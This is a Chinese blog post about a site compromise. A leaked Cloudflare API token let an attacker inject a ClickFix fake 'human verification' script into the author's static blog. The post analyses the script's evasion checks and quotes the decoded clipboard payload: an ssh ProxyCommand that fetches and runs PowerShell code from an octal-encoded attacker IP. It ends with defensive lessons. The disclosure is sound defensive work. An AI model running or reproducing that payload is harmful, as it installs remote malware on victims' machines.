我的博客被挂了三天马,而我毫不知情
我的博客被挂了三天马,而我毫不知情
事情的开始是 131 个鬼请求
11 月 7 号晚上我随手抓了个包,本意是看看博客加载 performance,结果 DevTools 的网络面板里躺着一条我不认识的请求,在被反复调用:
GET /_r/sv?sid=489rccrincjrkcgr一次浏览,131 次,每 3 秒一次,返回永远是 {"done":false}。
我博客是 Astro 静态站,部署在 Cloudflare 上,全站没有一个动态接口。/_r/ 这个路径不是我写的,主题没有,依赖也没有。一个纯静态站每 3 秒轮询一个不存在的接口,这不叫可疑,这叫出事了。
先冤枉了 JS 库
第一反应是某个 npm 依赖被投毒了。我把整个源码仓库 grep 了一遍,没有。lockfile 检查了 registry 和完整性,没问题。git 历史翻了一遍,最后一次提交是 11 月 1 号,干干净净。
然后我发现问题根本不在代码里。那个恶意脚本不走任何外部 JS 文件,它直接被缝在了我每个页面的 HTML 里——</body> 前面多了一段 56KB 的内联 <script>,博文页、归档页,全中。
这 里面 里藏了什么
这段脚本写得相当鸡贼。它先跑十几项环境检测:是不是无头浏览器、有没有 Selenium 痕迹、GPU 渲染器是不是虚拟机、DevTools 开没开。任何一项不过,它就装死,什么都不干。
这意味着:扫描器看它没问题,安全研究员开着 F12 看它也没问题,我平时自己调试的时候看它也没问题。它只对”看起来是真实人类、用 Windows、页面可见、没开开发者工具”的访客生效。
全部通过后,它用一段 XOR + Base64 把真正的载荷解出来,扔进 new Function() 里执行。我把密文拎出来解了一下,解出来的东西让我后背发凉:
它会在页面上弹一个高仿 Cloudflare 的人机验证框——就是那种”确认您是真人”的复选框,连样式都照着抄的。你一勾选,它就悄悄把你剪贴板里的东西换成一条命令,然后弹出行图指引:按 Win + R,粘贴,回车,“完成验证”。
而那条被塞进剪贴板的命令,解码后长这样:
ssh -o "ProxyCommand=powershell -NoProfile -Command $p = irm 056.076.0241.071/velcap4a ..." nobody@127.0.0.1几个阴间的细节:
056.076.0241.071是八进制写法的 IP,换算过来是46.62.161.57。irm下载、iex执行,下载即运行,不留文件。- 套一层
ssh外壳纯属伪装——在一个技术博客上,一条 ssh 命令看起来太正常了。 - 它还按浏览器分了五个变体,Chrome、Edge、Firefox、Opera、Brave 各一份。
- Mac 和 iPhone 用户它直接放过,剪贴板里写的是空字符串。专坑 Windows。
这套手法有个名字,叫 ClickFix,微软 8 月发过专门的分析报告(TerminalFix 那个),后面通常接的是信息窃取木马或者远控。而那些被它骗了的人,是自己按下回车的——没有任何漏洞利用,纯社会工程学。
顺带一提,它还给攻击者留了后门:每 3 秒轮询一次 /_r/sv,服务端随时可以下发 done: true 让验证框消失。这就是我一开始看到的那 131 个请求——它在等攻击者的遥控指令。
静态站,哪来的动态接口?
想明白这件事,案子就清楚了一半:/_r/* 下面一整套接口——下发配置的、上报访客 IP 的(先请求 api.ipify.org 拿到你的真实 IP 再上报)、行为遥测的、远程开关——静态托管根本生成不了这些。有人在我的域名前面加了一层。
而且有个细节帮我锁死了结论:我拿 11 月 7 号(感染时)和 11 月 10 号(恢复后)的同页面 HTML 做了字节级 diff——除了那段恶意脚本,一字不差。我的构建产物从头到尾是干净的,注入发生在请求返回的路上。
那就只剩一个地方:Cloudflare。
打开后台,Workers 全没了
上 Cloudflare 一看,好家伙,账号里 11 个 Worker 少得只剩 3 个,Pages 项目倒是都在。KV 的命名空间还孤零零地活着。
翻审计日志,整件事的剧本如下:
- 10 月 14 号,我创建了一个 API Token(就是给某个一键部署面板用的那种,你懂的)
- 11 月 7 号 00<14>14>,有人拿着这个 Token 从墨西哥的 IP 进来,4 分钟内一气呵成:创建恶意 Worker → 删掉我原有的 radio 和 tle 两条路由 → 挂上通配符路由
*mckero.com/*。从这一刻起,我整个域名的所有流量都要先过他的 Worker - 接下来三天,他从全球 30 多个 IP(乌克兰、巴西、印度,还有 AWS 的机器)每 2~6 个小时更新一版脚本,共 25 次部署、23 次更新
- 11 月 9 号 15<06>06>,一分钟内,10 个国家的 IP 把我的 11 个 Worker 连同他自己那个全删了,跑路
- 全程 75 次操作,全部成功。我的博客被劫持了 63 个小时,而我是在第 21 个小时”碰巧”抓包撞见的,又过了两天才发现真相
他连 Worker 的名字都懒得取——cf-w-ec9b1215,直接拿我的账号 ID 前缀命名的,这是一键部署面板的自动命名规则。也就是说,他作案用的工具,很可能就是泄露我 Token 的那套面板生态。左手偷钥匙,右手开门,还是同一扇。
教训
- 永远不要把 API Token 粘给第三方部署面板。 不管那个面板看起来多少人用过、教程写得多好。Token 一旦出门,账号就不属于你了。这次的泄露源十有八九就是它。
- Token 要最小权限、设过期、一个用途一个。这次攻击者拿到 Token 后只在 Workers 权限里折腾(审计日志里 DNS、SSL 都没动),算是不幸中的万幸。
- 给博客加上 CSP(
script-src 'self'+ nonce),内联脚本直接拒执行。这次要是有 CSP,那 56KB 就是一段废代码。 - 弄个一行的定时巡检:
curl 你的博客 | grep -c "可疑特征",结果非 0 就报警。这次木马存活了 63 小时,其实第 1 个小时就该被发现。 - 如果你 11 月 7 号到 9 号之间用 Windows 访问过我的博客,并且真的勾了那个”人机验证”、按了 Win+R 粘贴回车——请把那台机器当作已失陷处理:断网、杀毒、改密码。没按过的只是虚惊一场。
- 开2FA
现在站已经恢复干净了,Worker 在慢慢重建,Token 换成了最小权限的。域名还在(不算坏结局) 就是以后看到”确认您是真人”的复选框,手会停顿那么一下。
支持与分享
如果这篇文章对你有帮助,欢迎分享给更多人或打赏支持!

